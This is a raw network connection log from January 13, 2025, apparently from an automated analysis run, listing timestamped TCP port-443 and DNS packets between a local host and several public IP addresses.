Jan 13, 2025 01:39:16.554455042 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.554497004 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.554501057 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.554517031 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.554595947 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.555335999 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.561830997 CET	49753	443	192.168.2.5	151.101.194.137
Jan 13, 2025 01:39:16.561842918 CET	443	49753	151.101.194.137	192.168.2.5
Jan 13, 2025 01:39:16.763451099 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:16.763489962 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:16.763554096 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:16.763751030 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:16.763763905 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.217025042 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.218669891 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.218693972 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.219588995 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.219646931 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.223788977 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.223855019 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.223968983 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.223989010 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.263451099 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.318845034 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.319242001 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.319278955 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.319339037 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.319344044 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.319358110 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.319377899 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.327198982 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.327244997 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.327256918 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.327512026 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.327543020 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.327552080 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.327558994 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.327589035 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.327589989 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.327603102 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.327649117 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.334326029 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.387819052 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.405940056 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.406171083 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.406215906 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.406225920 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.406233072 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.406265974 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.406270027 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.406282902 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.406335115 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.406974077 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.407025099 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.407063007 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.407068014 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.407129049 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.407167912 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.407174110 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.407847881 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.407987118 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.407993078 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.414020061 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.414087057 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.414093018 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.414216042 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.414257050 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.414263964 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.414443970 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.414485931 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.414489985 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.414498091 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.414529085 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.414536953 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.415067911 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.415112972 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.415118933 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.466573954 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.466583967 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.493307114 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.493316889 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.493357897 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.493371010 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.493382931 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.493392944 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.493410110 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.493415117 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.493438959 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.493458986 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.495770931 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.495779037 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.495803118 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.495825052 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.495831013 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.495867014 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.501086950 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.501102924 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.501161098 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.501168966 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.501200914 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.507847071 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.507879019 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.507900953 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.507941961 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.507946014 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.507977009 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.580161095 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.580176115 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.580236912 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.580252886 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.580297947 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.581532955 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.581548929 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.581603050 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.581618071 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.581665993 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.582556963 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.582571983 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.582619905 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.582627058 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.582653999 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.587950945 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.587965965 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.588018894 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.588027954 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.588059902 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.588717937 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.588733912 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.588782072 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.588788986 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.588814020 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.588834047 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.589442015 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.589464903 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.589515924 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.589523077 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.589570999 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.594949007 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.594966888 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.595029116 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.595036030 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.595155954 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.666668892 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.666687012 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.666749954 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.666768074 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.667057037 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.667268991 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.667346954 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.667354107 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.667378902 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.667388916 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:17.667399883 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.667439938 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.669028044 CET	49761	443	192.168.2.5	151.101.130.137
Jan 13, 2025 01:39:17.669039011 CET	443	49761	151.101.130.137	192.168.2.5
Jan 13, 2025 01:39:22.926882029 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:22.945048094 CET	443	49751	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:22.974108934 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:22.974165916 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:22.974381924 CET	49751	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:22.974415064 CET	443	49751	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:22.977629900 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:22.983376980 CET	443	49751	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:22.983457088 CET	49751	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.027066946 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.078382015 CET	443	49748	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.118753910 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.132114887 CET	49748	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.150212049 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.150504112 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.150928974 CET	49751	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.151161909 CET	443	49751	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.151277065 CET	49750	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.151303053 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.151484966 CET	49748	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.151501894 CET	443	49748	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.152492046 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.152549982 CET	49751	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.152574062 CET	443	49751	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.152829885 CET	443	49748	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.154978037 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.155045033 CET	49750	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.164482117 CET	49748	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.164642096 CET	443	49748	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.165240049 CET	49750	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.165359974 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.165714979 CET	49748	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.165766954 CET	49750	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.165779114 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.195364952 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.198925018 CET	49751	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.207329035 CET	443	49748	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.214315891 CET	49750	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.324691057 CET	443	49754	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.336116076 CET	443	49751	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.336141109 CET	443	49751	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.336222887 CET	49751	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.336256981 CET	443	49751	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.336335897 CET	49751	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.336806059 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.336822987 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.336829901 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.336850882 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.336867094 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.336875916 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.336910963 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.351982117 CET	443	49748	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.352010965 CET	443	49748	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.352021933 CET	443	49748	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.352088928 CET	443	49748	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.352154970 CET	49748	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.352154970 CET	49748	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.372279882 CET	49754	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.387913942 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.404902935 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.404973984 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.404995918 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.405014992 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.405042887 CET	49750	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.405067921 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.405082941 CET	49750	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.405217886 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.405307055 CET	49750	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.405313015 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.405373096 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.405421972 CET	49750	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.405421972 CET	49750	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.425853968 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.425887108 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.425904036 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.426044941 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.426044941 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.426116943 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.426136017 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.426151037 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.426167965 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.426186085 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.426208973 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.426793098 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.426811934 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.426846027 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.426868916 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.427381039 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.427401066 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.427448034 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.427457094 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.439879894 CET	49754	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.439956903 CET	443	49754	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.441171885 CET	443	49754	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.441236973 CET	49754	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.443917990 CET	49754	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.444015980 CET	443	49754	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.445204020 CET	49754	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.445230961 CET	443	49754	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.447571039 CET	49751	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.447602034 CET	443	49751	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.451863050 CET	49748	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.451880932 CET	443	49748	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.452891111 CET	49750	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.452899933 CET	443	49750	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.496484041 CET	49754	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.515283108 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.515374899 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.515681028 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.515757084 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.516246080 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.516319036 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.516761065 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.516829967 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.517416000 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.517484903 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.517715931 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.517782927 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.518481970 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.518553019 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.603992939 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.604067087 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.604368925 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.604440928 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.604794979 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.604863882 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.605230093 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.605302095 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.605442047 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.605500937 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.605530024 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.605598927 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.605621099 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.605671883 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.605854034 CET	49749	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.605880022 CET	443	49749	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.632576942 CET	443	49754	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.632596016 CET	443	49754	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.632656097 CET	49754	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.632672071 CET	443	49754	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.632714033 CET	49754	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.633887053 CET	49754	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.633908033 CET	443	49754	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.645951986 CET	49807	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.646028042 CET	443	49807	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.646116018 CET	49807	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.646524906 CET	49808	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.646558046 CET	443	49808	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.646733046 CET	49807	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.646755934 CET	49808	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.646769047 CET	443	49807	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:23.647255898 CET	49808	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:23.647268057 CET	443	49808	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:25.488157988 CET	49820	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:25.488188028 CET	443	49820	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:25.488311052 CET	49821	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:25.488318920 CET	49820	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:25.488369942 CET	443	49821	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:25.488406897 CET	49822	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:25.488415956 CET	443	49822	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:25.488440037 CET	49821	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:25.488497972 CET	49822	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:25.488528967 CET	49823	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:25.488548994 CET	443	49823	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:25.488760948 CET	49823	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:25.488795996 CET	49820	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:25.488811016 CET	443	49820	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:25.488914013 CET	49822	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:25.488929033 CET	443	49822	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:25.489011049 CET	49821	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:25.489037991 CET	443	49821	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:25.489164114 CET	49823	443	192.168.2.5	89.250.71.221
Jan 13, 2025 01:39:25.489181995 CET	443	49823	89.250.71.221	192.168.2.5
Jan 13, 2025 01:39:33.330537081 CET	443	49735	23.1.237.91	192.168.2.5
Jan 13, 2025 01:39:33.330604076 CET	49735	443	192.168.2.5	23.1.237.91
Jan 13, 2025 01:39:38.933886051 CET	64848	53	192.168.2.5	162.159.36.2
Jan 13, 2025 01:39:38.938694000 CET	53	64848	162.159.36.2	192.168.2.5
Jan 13, 2025 01:39:38.938766003 CET	64848	53	192.168.2.5	162.159.36.2
Jan 13, 2025 01:39:38.938832045 CET	64848	53	192.168.2.5	162.159.36.2
Jan 13, 2025 01:39:38.943583012 CET	53	64848	162.159.36.2	192.168.2.5
Jan 13, 2025 01:39:39.401983023 CET	53	64848	162.159.36.2	192.168.2.5
Jan 13, 2025 01:39:39.402944088 CET	64848	53	192.168.2.5	162.159.36.2
Jan 13, 2025 01:39:39.408040047 CET	53	64848	162.159.36.2	192.168.2.5
Jan 13, 2025 01:39:39.408097029 CET	64848	53	192.168.2.5	162.159.36.2
